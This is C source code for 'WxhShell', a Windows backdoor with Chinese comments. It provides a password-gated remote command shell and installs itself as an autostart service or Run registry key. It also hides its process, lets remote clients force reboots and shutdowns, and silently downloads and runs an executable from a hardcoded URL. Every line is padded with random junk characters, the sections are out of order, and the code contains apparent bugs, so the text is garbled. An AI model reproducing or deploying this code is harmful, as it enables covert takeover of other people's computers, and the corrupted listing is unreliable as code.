  case 'd': { Y$L` G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FC1rwXL(  
    if(Boot(SHUTDOWN)) jUm-!SK}q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A5Hx $.Z  
    else { 6nk }k]Ji  
    closesocket(wsh); RU ~na/3  
    ExitThread(0); #tR:W?!  
    } K}CgFBk  
    break; ? uYO]!VC  
    } ;NA5G:eQ  
  // 获取shell `9r{z;UQ  
  case 's': { )5b_>Uy  
    CmdShell(wsh); \( s `=(t  
    closesocket(wsh); 9F807G\4Qt  
    ExitThread(0); \< .BN;t{  
    break; WPRk>j  
  } Z^V;B _  
  // 退出 DKS1Sm6d0  
  case 'x': { BsFO]F5mmX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9:{<:1?  
    CloseIt(wsh); I#MPJ@*WT  
    break; fo,0NxF9  
    } Ixn|BCi60A  
  // 离开 ytY\&m  
  case 'q': { zls^JTE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zdwQpB,+^  
    closesocket(wsh); Tm`@5  
    WSACleanup(); rT` sY  
    exit(1); xq;>||B  
    break; >2s6Y  
        } :=B.)]F.)  
  } E.*hY+kGZ  
  } :XY%@n  
~Fb@E0 }!  
  // 提示信息 |X=p`iz1&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rpiuFst  
} QKP #wR  
  } =wX;OK|U(^  
>3/ mV<g f  
  return; f$>_>E  
} \uTlwS  
{LiJ=Ebt  
// shell模块句柄 1vo3aF  
int CmdShell(SOCKET sock) (n kg  
{ M1eh4IVE?  
STARTUPINFO si; sR/Y v  
ZeroMemory(&si,sizeof(si)); ""7H;I&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e&x)g;bn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <ci(5M  
PROCESS_INFORMATION ProcessInfo; 7;p/S#P:  
char cmdline[]="cmd"; DPf].i#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JAHg_!  
  return 0; U1:m=!S;x  
} WuE]pm]c  
&n | <NF  
// 自身启动模式 |y7TYjg6  
int StartFromService(void) M<Bo<,!ua  
{ n*9QSyJN]  
typedef struct S!A:/(^WB  
{ <9&GOaJ  
  DWORD ExitStatus; h1q 3}-  
  DWORD PebBaseAddress; #v(As) 4^  
  DWORD AffinityMask; DTC IVLV  
  DWORD BasePriority; {qHQ_ _Bl  
  ULONG UniqueProcessId; YQD `4ND  
  ULONG InheritedFromUniqueProcessId; X}'rPz\Lu  
}   PROCESS_BASIC_INFORMATION; `pfgx^qG  
x9F *$G  
PROCNTQSIP NtQueryInformationProcess; n}Z%-w$K#  
P\dfxR;8%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BW;@Gq@N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #!_4ZX  
ulALGzPh  
  HANDLE             hProcess; \'=svJ   
  PROCESS_BASIC_INFORMATION pbi; J <z ^C  
)F hbN@3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VJ#ys _W  
  if(NULL == hInst ) return 0; tfHr'Qy BC  
nrE.0Ue1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b6S"&hs  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ozsd6&z5l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r } Wdj  
`}t5`:#k  
  if (!NtQueryInformationProcess) return 0; NdJ]\>5oN,  
\ 3E%6L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \#biwX  
  if(!hProcess) return 0; 8cfsl lI  
n=b!c@f4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $~q{MX&J  
V #vkj  
  CloseHandle(hProcess); %ly&~&0  
%J6>Vc!ix=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d3a!s  
if(hProcess==NULL) return 0; L"0dB.  
J_+2]X7n  
HMODULE hMod; F+G+XtOS  
char procName[255]; 9/8+R%  
unsigned long cbNeeded; V9ZM4.,OCN  
%d:cC:`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D+AkV|  
!|9@f$Jv  
  CloseHandle(hProcess); 0xi2VN"X  
`!X8Cn  
if(strstr(procName,"services")) return 1; // 以服务启动 "uZ^zV`"  
<>5n;-  
  return 0; // 注册表启动 -A L^  
} BV<_1 WT}  
Foj|1zJS_  
// 主模块 maSVqG  
int StartWxhshell(LPSTR lpCmdLine) UH&1QV  
{ kb$Yc)+R4  
  SOCKET wsl; <bJ|WS|  
BOOL val=TRUE; "WY5Pzsi:  
  int port=0; V9KRA 1  
  struct sockaddr_in door; 9Pvv6WyKy  
BSkmFd(*  
  if(wscfg.ws_autoins) Install(); n2o)K;wW+  
NHU5JSlB  
port=atoi(lpCmdLine); L8E4|F}  
>`WQxkpy  
if(port<=0) port=wscfg.ws_port; - ]/=WAOK  
Wt5pK[JV  
  WSADATA data; Z1$ S(p=)L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &n?RKcH}d  
1e9~):C~W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?;w`hA3ei  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0T@axQ[%  
  door.sin_family = AF_INET; y'6lfThT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D1ik*mDA=  
  door.sin_port = htons(port); PXl%"O%d  
lRS'M,/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $<VH~Q<  
closesocket(wsl); g^:`h VV  
return 1; 25 U+L  
} 18j>x3tn  
;*Mr(#R  
  if(listen(wsl,2) == INVALID_SOCKET) { vytO8m%U  
closesocket(wsl); ~md06"AYJ  
return 1; o=zl{tZV  
} i6FJG\d  
  Wxhshell(wsl); x!7!)]h  
  WSACleanup(); %"#ydOy  
bO('y@)X  
return 0; .|P :n'  
pL*aU=FjQ  
} hVz]' ,  
c[3x>f0  
// 以NT服务方式启动 Tqs|2at<t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sA+K?_  
{ tr A ^JY  
DWORD   status = 0; :Ez*<;pF'  
  DWORD   specificError = 0xfffffff; hq&9S{Ep  
-U7,~z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |rgPHRX^Hn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PgP\v-.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YJDJj x  
  serviceStatus.dwWin32ExitCode     = 0; AnE] kq u  
  serviceStatus.dwServiceSpecificExitCode = 0; @d0~'_vtB  
  serviceStatus.dwCheckPoint       = 0; g^#,!e  
  serviceStatus.dwWaitHint       = 0; s`yg?CR`,  
N]ebKe  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |~v2~   
  if (hServiceStatusHandle==0) return; ]X X>h~0  
{EVy.F  
status = GetLastError(); %n,_^voE  
  if (status!=NO_ERROR) C0^r]^$Z  
{ w%oa={x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n b*`GE  
    serviceStatus.dwCheckPoint       = 0; 7pyaHe  
    serviceStatus.dwWaitHint       = 0; s|[qq7  
    serviceStatus.dwWin32ExitCode     = status; <&((vrfa  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3/c%4b.Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s I0:<6W  
    return; `4Fw,:+e  
  } M`* BS  
fCX8s(|F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v4X ` Ul*  
  serviceStatus.dwCheckPoint       = 0; Da)_OJYE  
  serviceStatus.dwWaitHint       = 0; c:B` <  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j]mnH`#BL  
} r0pwKRE~t  
0hXx31JN N  
// 处理NT服务事件,比如:启动、停止 >I;.q|T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p%#'`*<a_  
{ w xa MdA  
switch(fdwControl) #oR@!?  
{ fgA-+y  
case SERVICE_CONTROL_STOP: ]T.+(\I  
  serviceStatus.dwWin32ExitCode = 0; Zv8GrkK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,nV4%Aa  
  serviceStatus.dwCheckPoint   = 0; HRCnjem/v\  
  serviceStatus.dwWaitHint     = 0; * ]D{[hV  
  { YB:}L b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I%<pS ,p  
  }  niyxZ<Z  
  return; 0<f.r~  
case SERVICE_CONTROL_PAUSE: ]$-<< N{}'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =<K6gC27  
  break; Bf[`o<c  
case SERVICE_CONTROL_CONTINUE: &2ty++gC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gC_KT,=H;  
  break; N&$ ,uhmO  
case SERVICE_CONTROL_INTERROGATE: {#pw rWG  
  break; 2^rJ|Ni  
}; m|OB_[9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r{*BJi.b  
} pWH,nn?w.  
I_R6 M1  
// 标准应用程序主函数 ;Z`R!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Pj!f^MN  
{ P%!=Rj^2m  
LEX @hkh  
// 获取操作系统版本 f'M([gn^_  
OsIsNt=GetOsVer(); `UqX`MFz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rP!GS _RG  
"-rqL  
  // 从命令行安装 L gy^^.  
  if(strpbrk(lpCmdLine,"iI")) Install(); {r5OtYmpR  
)dJx82" l  
  // 下载执行文件 cVr+Wp7K#|  
if(wscfg.ws_downexe) { G9GLRdP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <:8Ew  
  WinExec(wscfg.ws_filenam,SW_HIDE); YJ~mcaw  
} O*W<za;  
8 tIy"5  
if(!OsIsNt) { m4'jTC$  
// 如果时win9x,隐藏进程并且设置为注册表启动 59+KOQul6  
HideProc(); ":GC}VIS  
StartWxhshell(lpCmdLine); C\dk} A  
} M0 KU}h  
else YPCitGBl  
  if(StartFromService()) #k)t.P Q  
  // 以服务方式启动 k;qWiYMV  
  StartServiceCtrlDispatcher(DispatchTable); 3 4&xh1=3  
else ~sq@^<M)s  
  // 普通方式启动 ?a1pO#{Dg  
  StartWxhshell(lpCmdLine); 9^nRwo  
(qz)3Fa  
return 0; 7QoMroR  
} \F""G,AWq{  
K5jeazasp  
8yH)9#>  
f"zmNG'  
=========================================== L1y71+iqU  
Vobq|Rd/%  
.;l`VWP  
o)R<sT  
G!h75G20  
l/\D0\x2  
" AD@ {7  
Z a S29}  
#include <stdio.h> K CH`=lX  
#include <string.h> tvq((2  
#include <windows.h> ?zbWz=nq  
#include <winsock2.h> wkV'']= Xg  
#include <winsvc.h> BL"7_phM,  
#include <urlmon.h> Ki&a"Fu3  
DQaE9gmC  
#pragma comment (lib, "Ws2_32.lib") Bvh{|tP4  
#pragma comment (lib, "urlmon.lib") {];-b0MS~  
n+i=Ff  
#define MAX_USER   100 // 最大客户端连接数 KDH<T4#x  
#define BUF_SOCK   200 // sock buffer :F@goiuC  
#define KEY_BUFF   255 // 输入 buffer A r>BL2@  
=q`T|9v  
#define REBOOT     0   // 重启 ["4Tn0g ;  
#define SHUTDOWN   1   // 关机 l"jYY3N|h  
O}p<"3Ub  
#define DEF_PORT   5000 // 监听端口 (Nv -wU  
)?c,&  
#define REG_LEN     16   // 注册表键长度  X>P|-n#  
#define SVC_LEN     80   // NT服务名长度 ^5( d^N  
5O Y5b8  
// 从dll定义API  ts=:r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 49c-`[d L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ='m%Iq7X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z0#2?o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8F@Sy,D  
m7u`r(&  
// wxhshell配置信息 0z4M/WrNt  
struct WSCFG { ItZYOt|Hn  
  int ws_port;         // 监听端口 ju .pQ=PSX  
  char ws_passstr[REG_LEN]; // 口令 rPqM&&+  
  int ws_autoins;       // 安装标记, 1=yes 0=no a(D=ZKbVU  
  char ws_regname[REG_LEN]; // 注册表键名 $$"G1<EZ  
  char ws_svcname[REG_LEN]; // 服务名 +%u3% }  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =9,^Tu|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;[(d=6{hc]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s f->8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Bx#=$ka  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \<09.q<8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `Pc<0*`a  
!6@'H4cb=  
}; r\Yh'cRW{  
BMuEfa^  
// default Wxhshell configuration \iP@|ay9  
struct WSCFG wscfg={DEF_PORT, Ym! e}`A\F  
    "xuhuanlingzhe", Eh|,[ D!E  
    1, BenyA:W"  
    "Wxhshell", XoL DqN!  
    "Wxhshell", I~@8SSO,vH  
            "WxhShell Service", Z@f{f:Jc/"  
    "Wrsky Windows CmdShell Service", gq/Za/ !6  
    "Please Input Your Password: ", b78~{h t`  
  1, IF\ @uo`  
  "http://www.wrsky.com/wxhshell.exe", 2lOUNxQ$  
  "Wxhshell.exe" 5gqs"trF  
    }; Y$]zba  
/F(n%8)Yq  
// 消息定义模块 W I MBw mg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bv b \G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z ynu0X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .R'M'a#*!A  
char *msg_ws_ext="\n\rExit."; hqmE]hwc  
char *msg_ws_end="\n\rQuit."; `[U.BVP'  
char *msg_ws_boot="\n\rReboot..."; #8yo9g6  
char *msg_ws_poff="\n\rShutdown..."; Jp+'"a  
char *msg_ws_down="\n\rSave to "; ]sk=V.GGQ  
5g/,VMe  
char *msg_ws_err="\n\rErr!"; f5FEHyj|  
char *msg_ws_ok="\n\rOK!"; GZNN2 '  
2A[hMbL  
char ExeFile[MAX_PATH]; #Lp}j?Y  
int nUser = 0; 0<NS1y  
HANDLE handles[MAX_USER]; 1gbFl/i6T  
int OsIsNt; &b}g.)RI  
%A=/(%T>  
SERVICE_STATUS       serviceStatus; T,1qR: 58  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +>K&zS  
i/1$uQ  
// 函数声明 >7%T%2N  
int Install(void); G8klWZAJ  
int Uninstall(void); f:<BUqa  
int DownloadFile(char *sURL, SOCKET wsh); f17E2^(I(}  
int Boot(int flag); }^ ,D~b-nB  
void HideProc(void); 31alQ\TH  
int GetOsVer(void); r]Wt!oHm5  
int Wxhshell(SOCKET wsl); n$r`s`}  
void TalkWithClient(void *cs); ipbhjK$  
int CmdShell(SOCKET sock); ^MF 2Q+  
int StartFromService(void); L\:m)g,F.  
int StartWxhshell(LPSTR lpCmdLine); Ez5t)l-  
iae NY;T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h\w;SDwOk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ohp@ZJ!a?  
&{a!)I>  
// 数据结构和表定义 \\#D!q*  
SERVICE_TABLE_ENTRY DispatchTable[] = 5P"R'/[PA_  
{ kaB|+U9^  
{wscfg.ws_svcname, NTServiceMain}, o /[7Vo  
{NULL, NULL} iBSg`"S^]C  
}; ] h(Iun  
,v>;/qm  
// 自我安装 %\HPYnIe  
int Install(void) 8Sj<,+XFq  
{ wGKxT ap  
  char svExeFile[MAX_PATH]; "T5oUy&i  
  HKEY key; k1f<(@*`  
  strcpy(svExeFile,ExeFile); cr{yy :D  
tjb$MW$('  
// 如果是win9x系统,修改注册表设为自启动 TZt;-t`  
if(!OsIsNt) { A%Ka)UU+n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pg(Y}Tu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oMj"l#a*  
  RegCloseKey(key); $) "\N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PR:B6 F8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A+* lV*@0  
  RegCloseKey(key); Mh-"B([Z  
  return 0; Sl, DZ!  
    } ocZ}RI#Q  
  } ?%hd3zc+f  
} ^]R_t@  
else { O0L]xr  
s)r !3HS  
// 如果是NT以上系统,安装为系统服务 "I/05k K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K {v^Y,B  
if (schSCManager!=0) _Fa\y ZX  
{ Jj>Rzj!m  
  SC_HANDLE schService = CreateService ~^Cx->l  
  ( r*vh3.Agl  
  schSCManager, PKrG6% W+  
  wscfg.ws_svcname, 9u{[e"  
  wscfg.ws_svcdisp, &'W7-Z\j-  
  SERVICE_ALL_ACCESS, ?j.a>{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~&D =;M/  
  SERVICE_AUTO_START, `mz}D76~#  
  SERVICE_ERROR_NORMAL, C?gqX0[ q  
  svExeFile, HJ 7A/XW  
  NULL, 8$ _{R!x  
  NULL, <1*.:CL"s  
  NULL, \#:  W  
  NULL, *eIX"&ba  
  NULL 8p%0d`sX  
  ); K $- *  
  if (schService!=0) IeYNTk &<  
  { e&VC }%m  
  CloseServiceHandle(schService); l%"DeRp,/  
  CloseServiceHandle(schSCManager); 8fP2qj0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^7aqe*|vm  
  strcat(svExeFile,wscfg.ws_svcname); *P=3Pl?j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5S!#^>_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7wh4~  
  RegCloseKey(key); <|_>r`@%l  
  return 0; 0q"4\#4l  
    } 2 {b/*w  
  } =M;F&;\8  
  CloseServiceHandle(schSCManager); -@(LN%7!C  
} %"mI["{  
} q*&H  
c8X;4 My  
return 1; >2{Y5__+e  
} q@bye4Ry%W  
'fU#v`i  
// 自我卸载 6I"KomJ9  
int Uninstall(void) h#r~2\q4ei  
{ / e>%yq<9B  
  HKEY key; D=z~]a31!  
-\f7qRW^U  
if(!OsIsNt) { #17 &rizl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :VlA2Ih&q  
  RegDeleteValue(key,wscfg.ws_regname); S}JOS}\^j  
  RegCloseKey(key); YXWDbr:JX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v3Vve:}+  
  RegDeleteValue(key,wscfg.ws_regname); Ct)58f2  
  RegCloseKey(key); <jV,VKL#  
  return 0; QNx]8r  
  } vK)'3%  
} Zo&i0%S\E  
} i-v: %  
else { n<8WjrK  
=|E "  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &wK:R,~x6  
if (schSCManager!=0) {UP[iw$~  
{ r 1r@TG\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h^=;\ng1l  
  if (schService!=0) Ak@!F6~  
  { X|{Tljn  
  if(DeleteService(schService)!=0) { )]C]KB  
  CloseServiceHandle(schService); rk1,LsZVS  
  CloseServiceHandle(schSCManager); #E!^oZm<Z  
  return 0; #b[bgxm  
  } ,.9lz  
  CloseServiceHandle(schService); VNWB$mM.2  
  } JGHj(0j  
  CloseServiceHandle(schSCManager); S3%2T  
} gd0)s1{9  
} 9$HKP9G  
h<%$?h+}  
return 1; b V  EJ  
} %RV81H9B  
>b2!&dm  
// 从指定url下载文件 e1W9"&4>G{  
int DownloadFile(char *sURL, SOCKET wsh) ]`$yY5&W0  
{ h s',f  
  HRESULT hr; Zu|NF uFI  
char seps[]= "/"; J;_4 3eS  
char *token; AA=Ob$2$  
char *file; i RrUIWx  
char myURL[MAX_PATH]; vGv<WEE  
char myFILE[MAX_PATH]; ]4H)GWHKg  
_|M8xI  
strcpy(myURL,sURL); \o[][R#D  
  token=strtok(myURL,seps); c_vGr55  
  while(token!=NULL) ,A`|jF  
  { EF :g0$  
    file=token; !j'LZ7  
  token=strtok(NULL,seps); 5T#v &  
  } 9DA |;|  
e& `"}^X;I  
GetCurrentDirectory(MAX_PATH,myFILE); _:9}RT?  
strcat(myFILE, "\\"); es6YxMg  
strcat(myFILE, file); e}?Q&Lci  
  send(wsh,myFILE,strlen(myFILE),0); bfA>kn0C  
send(wsh,"...",3,0); Qg/FFn^Kg*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l0,VN,$Yl  
  if(hr==S_OK) y5eEEG6  
return 0; Un K7&Uo  
else a 4ViVy  
return 1; ;iiCay37F  
h_4*?w  
} p48enH8CO  
q3#[6!  
// 系统电源模块 nvndgeSy  
int Boot(int flag) %mmV#vwp  
{ .hx(9  
  HANDLE hToken; E \/[hT  
  TOKEN_PRIVILEGES tkp; #[jS&rr(  
4x)vy -y  
  if(OsIsNt) { PI*@.kqR-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MuD ? KK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); phH@{mI  
    tkp.PrivilegeCount = 1; sA?8i:]O:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iKo2bC:.&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iz-z?)%  
if(flag==REBOOT) { ^ELZ35=qZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C,+  
  return 0; imif[n+]}d  
} l[i4\ CT  
else { \#%GVru!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EFC+7L(j  
  return 0; Ni>Ns=n  
} 60%nQhb  
  } n8Qv8  
  else { $3"hOEN@5`  
if(flag==REBOOT) { o_Zs0/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vU%K%-yXG7  
  return 0; ;w. la  
} D@&xj_#\}  
else { 7~P2q/2E>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (NFrZ0  
  return 0; b, a7XANsh  
} F3(Sb M-  
} }=EJM7sM|k  
`\VtTS  
return 1; q!Ek EW\n  
} -& (iU#W  
sf2%WPK  
// win9x进程隐藏模块 e;XRH<LhAU  
void HideProc(void) m OUO)[6y  
{ WOj}+?/3 R  
}o:LwxNO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "mBM<rEn*  
  if ( hKernel != NULL ) "T=j\/Q  
  { FUL3@Gb$UV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |1_$\k9Y&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q<3La(^/  
    FreeLibrary(hKernel); *l`yxz@U  
  } |*t2IVwX  
!Np7mv\7  
return; WS[Z[O  
} RI8*'~ix]  
/b>xQ.G  
// 获取操作系统版本 Ph P)|P  
int GetOsVer(void) ~4+Y BN  
{ 'sI ne>  
  OSVERSIONINFO winfo; O W.CU=XU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w98M #GqV  
  GetVersionEx(&winfo); GAY?F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9BZ B1o X  
  return 1; }i^M<A O  
  else *~P| ? D'  
  return 0; ~OX\R"aZBW  
} p+~Imf-Jk  
,Gv}N&  
// 客户端句柄模块 !IR cv a  
int Wxhshell(SOCKET wsl) _}[WX[Le{  
{ AsE77AUA  
  SOCKET wsh; r1 :TM|5L  
  struct sockaddr_in client; $ H+X'1  
  DWORD myID; ^J>m4`  
ng+sK  
  while(nUser<MAX_USER) KH#z =_  
{ 5nib<B%<V  
  int nSize=sizeof(client); BC!) g+8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C _he=SV  
  if(wsh==INVALID_SOCKET) return 1; =SmU ;t>t/  
S}rEQGGR{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ahg P"Qz  
if(handles[nUser]==0) <k8WnA ~Fl  
  closesocket(wsh); T+T)~!{%  
else ~/A2 :}Cp=  
  nUser++; NpGi3>5  
  } IN3-ZNx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pmBN?<  
B ZU@W%E  
  return 0; +)yoQRekX  
} [nHN@ p|  
v\bWQs1  
// 关闭 socket axmq/8X  
void CloseIt(SOCKET wsh) l4T[x|')M  
{ 4I&(>9 @z<  
closesocket(wsh); YSxr(\~j   
nUser--; j.6!T'$|  
ExitThread(0); c[2ikI,n[  
} G HQ~{  
QaLaw-lx  
// 客户端请求句柄 %|+aI?  
void TalkWithClient(void *cs) _YlyS )#@  
{ {i=V:$_#  
\y271}'  
  SOCKET wsh=(SOCKET)cs; #f(tzPD  
  char pwd[SVC_LEN]; ;/V])4=  
  char cmd[KEY_BUFF]; FWeUZI+  
char chr[1]; ~m<K5K6 V  
int i,j; 3c#^@Bj(-e  
H.iCYD_=  
  while (nUser < MAX_USER) { > A@yF?  
8Ckd.HKpQ  
if(wscfg.ws_passstr) { +a,#BSt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dpE^BWv3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h{"SV*Xpk/  
  //ZeroMemory(pwd,KEY_BUFF); 00IW9B-  
      i=0; g]h@U&`~u_  
  while(i<SVC_LEN) { pvl];w  
E8PwA.  
  // 设置超时 6wpu[  
  fd_set FdRead; 8h)7K/!\  
  struct timeval TimeOut; mI<sf?.  
  FD_ZERO(&FdRead); Xk!{UxQKQ  
  FD_SET(wsh,&FdRead); 0x5\{f  
  TimeOut.tv_sec=8; <WWZb\"{  
  TimeOut.tv_usec=0; %h0BA.r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QsKnaRT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c]1AM)xo  
tc.|mIvw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o_=4Ex "  
  pwd=chr[0]; @Oz3A<M  
  if(chr[0]==0xd || chr[0]==0xa) { P=}dR&gk'  
  pwd=0; !/H `   
  break; =?4[:#Rh  
  } ]O:u9If  
  i++; }s?w-u+(c6  
    } ?/T=G k  
AXxyB"7A}  
  // 如果是非法用户,关闭 socket O0rvr$.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )%p46(]  
} H(Wiy@cJn  
kLF3s#k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -4Dz9 8du  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s\~j,$Mm2  
.KG9YGL#  
while(1) { 6qmV/DL  
^GYVRD  
  ZeroMemory(cmd,KEY_BUFF); POc<XLZB  
Q;l%@)m+~  
      // 自动支持客户端 telnet标准   N!<l~[rc  
  j=0; pk'd& .  
  while(j<KEY_BUFF) { uj\&-9gEi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4VvE(f  
  cmd[j]=chr[0]; Y5ei:r|^  
  if(chr[0]==0xa || chr[0]==0xd) { cGo_qR/B(>  
  cmd[j]=0; 0FL'8!e<  
  break; _d7;Z%  
  } v1+.-hO  
  j++; h8M_Uk  
    } 9 4bDJy1  
1NZpd'$c  
  // 下载文件 L~h:>I+pG  
  if(strstr(cmd,"http://")) { 7s%1?$B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vMX\q  
  if(DownloadFile(cmd,wsh)) ~ m vv :u  
